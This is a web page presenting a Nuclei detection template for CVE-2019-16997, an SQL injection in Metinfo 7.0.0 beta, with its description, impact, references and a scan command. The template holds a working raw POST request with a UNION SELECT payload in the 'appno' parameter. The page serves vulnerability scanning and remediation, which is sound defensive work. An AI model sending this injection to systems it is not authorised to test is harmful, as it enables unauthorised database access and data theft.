Metinfo 7.0.0 beta - SQL Injection

ID: CVE-2019-16997

Severity: high

Author: ritikchaddha

Tags: cve,cve2019,metinfo,sqli

Description

Metinfo 7.0.0 beta is susceptible to SQL Injection in app/system/language/admin/language_general.class.php via the admin/?n=language&c=language_general&a=doExportPack appno parameter.

YAML Source

id: CVE-2019-16997

info:
  name: Metinfo 7.0.0 beta - SQL Injection
  author: ritikchaddha
  severity: high
  description: Metinfo 7.0.0 beta is susceptible to SQL Injection in app/system/language/admin/language_general.class.php via the admin/?n=language&c=language_general&a=doExportPack appno parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Metinfo or apply the necessary security patches to mitigate the SQL Injection vulnerability.
  reference:
    - https://github.com/XiaOkuoAi/XiaOkuoAi.github.io/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16997
    - https://github.com/jweny/pocassistdb
    - https://github.com/zhibx/fscan-Intranet
    - https://github.com/0ps/pocassistdb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-16997
    cwe-id: CWE-89
    epss-score: 0.21998
    epss-percentile: 0.9646
    cpe: cpe:2.3:a:metinfo:metinfo:7.0.0:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: metinfo
    product: metinfo
  tags: cve,cve2019,metinfo,sqli

http:
  - raw:
      - |
        POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        appno= 1 union SELECT 98989*443131,1&editor=cn&site=web

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "43865094559"

      - type: status
        status:
          - 200
# digest: 490a00463044022056509576d594eb92cb3c977e1e9704103ad0dcd7dbd2ead07a1ea749893f0c1302202892ba1701fba103bb1748e84bb695a9065c2e02e9543a3753492b03a5316748:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16997.yaml"

View on Github